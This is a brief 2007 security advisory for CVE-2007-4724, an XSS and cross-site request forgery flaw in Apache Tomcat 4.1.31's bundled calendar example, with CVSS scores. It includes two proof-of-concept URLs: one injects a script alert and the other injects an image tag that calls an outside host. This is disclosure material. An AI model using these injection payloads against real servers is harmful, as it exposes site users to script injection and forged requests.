Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability

2007.09.07

Credit: Tushar Vartak

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2007-4724

CWE: CWE-352

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery.

XSS
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3eale
rt("XSS!")%3c%2fscript%3e

XSRF
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http:
//xsrfxonfirmed.com/testimage.gif">

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Tushar Vartak

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